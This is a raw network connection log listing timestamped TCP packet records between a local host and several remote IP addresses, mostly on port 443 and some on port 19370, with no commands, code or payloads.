Oct 17, 2024 18:19:05.679379940 CEST	443	51751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.679518938 CEST	51751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.680277109 CEST	51825	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.680308104 CEST	51751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.680319071 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.680329084 CEST	443	51751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.680341005 CEST	51751	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.680346966 CEST	443	51751	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.680387974 CEST	51825	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.680525064 CEST	51825	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.680538893 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.687606096 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.687618971 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.687688112 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.687789917 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.687804937 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.890908957 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.890988111 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.891051054 CEST	51753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.892918110 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.892997980 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.893064976 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.893078089 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.893126965 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.893177986 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.915555000 CEST	51753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.915594101 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.915616989 CEST	51753	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.915623903 CEST	443	51753	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.919625044 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.919625998 CEST	51775	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.919634104 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.919641018 CEST	443	51775	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.930639029 CEST	51831	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.930691957 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.930762053 CEST	51831	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.936027050 CEST	51832	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.936050892 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.936148882 CEST	51832	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.941267967 CEST	51831	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.941303015 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:05.953730106 CEST	51832	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:05.953744888 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.227155924 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.227225065 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.246865988 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.246901989 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.247157097 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.249645948 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.291412115 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.372342110 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:06.383114100 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:06.383219957 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:06.384032965 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:06.396331072 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:06.476087093 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:06.519049883 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:06.569576025 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.569607973 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.569623947 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.569662094 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.569689035 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.569730043 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.569753885 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.599896908 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.611366987 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:06.613842010 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.619020939 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:06.619291067 CEST	51825	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.619324923 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.619752884 CEST	51825	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.619760036 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.624757051 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.624763966 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.625206947 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.625211000 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.706877947 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.706926107 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.706979990 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.707012892 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.707032919 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.708679914 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.708734035 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.711430073 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.711462975 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.711478949 CEST	51792	443	192.168.2.6	20.109.210.53
Oct 17, 2024 18:19:06.711486101 CEST	443	51792	20.109.210.53	192.168.2.6
Oct 17, 2024 18:19:06.759022951 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:06.775861025 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.776334047 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.776401043 CEST	51825	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.780179024 CEST	51825	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.780205011 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.780222893 CEST	51825	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.780227900 CEST	443	51825	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.783016920 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.783044100 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.783091068 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.783112049 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.783143044 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.785984039 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.785989046 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.785998106 CEST	51826	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.786001921 CEST	443	51826	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.786393881 CEST	51851	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.786433935 CEST	443	51851	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.786547899 CEST	51851	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.787497044 CEST	51851	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.787523031 CEST	443	51851	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.788733006 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.788800001 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.788867950 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.788973093 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.789007902 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.797349930 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:06.811882019 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.814241886 CEST	51831	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.814265966 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.814694881 CEST	51831	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.814702988 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.815767050 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.816050053 CEST	51832	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.816076040 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.816411018 CEST	51832	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.816415071 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.866106033 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:06.874459028 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:06.981697083 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:06.986148119 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.987989902 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.988054037 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.988092899 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.988152981 CEST	51832	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.988183022 CEST	51831	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.990245104 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:06.990278006 CEST	51832	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.990314007 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.990329027 CEST	51832	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.990334034 CEST	443	51832	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.992844105 CEST	51831	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.992871046 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:06.992891073 CEST	51831	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:06.992897987 CEST	443	51831	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.000000954 CEST	51854	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.000030994 CEST	443	51854	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.000087976 CEST	51854	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.001077890 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.001111984 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.001188993 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.001652956 CEST	51854	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.001663923 CEST	443	51854	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.001924038 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.001934052 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.100140095 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:07.106195927 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:07.147710085 CEST	19370	51840	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:07.147826910 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:07.292270899 CEST	51840	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:07.597500086 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.610987902 CEST	443	51851	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.619399071 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.619430065 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.620018005 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.620023966 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.636246920 CEST	51851	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.636276960 CEST	443	51851	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.636692047 CEST	51851	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.636698008 CEST	443	51851	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.752511024 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.753103971 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.753114939 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.753169060 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.753175020 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.753225088 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.756920099 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.756946087 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.757359028 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.757369041 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.757641077 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.757668972 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.757688046 CEST	51852	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.757699013 CEST	443	51852	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.773930073 CEST	443	51851	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.774375916 CEST	443	51851	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.774441004 CEST	51851	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.775453091 CEST	51881	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.775504112 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.775566101 CEST	51881	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.775722027 CEST	51881	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.775741100 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.777206898 CEST	51851	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.777221918 CEST	443	51851	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.793843031 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.793884039 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.793968916 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.796801090 CEST	443	51854	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.797030926 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.797058105 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.797873974 CEST	51854	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.797902107 CEST	443	51854	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:07.798558950 CEST	51854	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:07.798566103 CEST	443	51854	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.145478010 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.145504951 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.145545006 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.145559072 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.145581961 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.145623922 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.147300959 CEST	443	51854	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.147476912 CEST	443	51854	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.147540092 CEST	51854	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.152669907 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.152669907 CEST	51855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.152700901 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.152714968 CEST	443	51855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.154993057 CEST	51854	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.155019999 CEST	443	51854	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.156923056 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:08.156955004 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:08.157025099 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:08.157594919 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:08.157608986 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:08.169054031 CEST	51890	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.169087887 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.169142008 CEST	51890	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.178904057 CEST	51890	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.178921938 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.180155993 CEST	51891	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.180187941 CEST	443	51891	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.180246115 CEST	51891	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.180380106 CEST	51891	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.180394888 CEST	443	51891	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.662450075 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.677100897 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.677979946 CEST	51881	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.678005934 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.678698063 CEST	51881	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.678703070 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.700830936 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.700848103 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.701371908 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.701375961 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.849294901 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.849381924 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.849494934 CEST	51881	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.857044935 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.857074976 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.857116938 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.857135057 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.857182980 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.858731985 CEST	51881	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.858752966 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.858764887 CEST	51881	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.858771086 CEST	443	51881	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.863135099 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.863141060 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.863153934 CEST	51882	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.863157988 CEST	443	51882	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.882939100 CEST	51921	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.882958889 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.883559942 CEST	51921	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.890166998 CEST	51922	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.890173912 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.890266895 CEST	51922	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.894857883 CEST	51921	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.894869089 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:08.897480011 CEST	51922	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:08.897490025 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.055959940 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.058873892 CEST	51890	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.058892012 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.059182882 CEST	51890	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.059187889 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.103775024 CEST	443	51891	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.111582994 CEST	51891	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.111608982 CEST	443	51891	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.112025023 CEST	51891	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.112030983 CEST	443	51891	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.191900015 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.192054987 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.192245007 CEST	51890	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.225791931 CEST	51890	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.225791931 CEST	51890	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.225836992 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.225855112 CEST	443	51890	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.240721941 CEST	443	51891	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.240797997 CEST	443	51891	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.240873098 CEST	51891	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.255640030 CEST	51891	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.255662918 CEST	443	51891	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.289984941 CEST	51943	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.290031910 CEST	443	51943	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.290117025 CEST	51943	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.290303946 CEST	51944	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.290350914 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.290477991 CEST	51944	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.296530008 CEST	51943	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.296545982 CEST	443	51943	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.297167063 CEST	51944	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.297193050 CEST	443	51944	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.395143032 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:09.395423889 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:09.397057056 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:09.397074938 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:09.397341967 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:09.399995089 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:09.400157928 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:09.400170088 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:09.400398016 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:09.443403959 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:09.667154074 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:09.668155909 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:09.668173075 CEST	443	51889	40.113.110.67	192.168.2.6
Oct 17, 2024 18:19:09.668194056 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:09.668221951 CEST	51889	443	192.168.2.6	40.113.110.67
Oct 17, 2024 18:19:09.694102049 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.700460911 CEST	51921	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.700488091 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.701020002 CEST	51921	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.701029062 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.707065105 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.707472086 CEST	51922	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.707493067 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.707951069 CEST	51922	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.707957983 CEST	443	51922	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.862477064 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.862504005 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.862564087 CEST	51921	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.862588882 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.862667084 CEST	443	51921	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:09.862878084 CEST	51921	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:09.880783081 CEST	51921	443	192.168.2.6	13.107.246.45
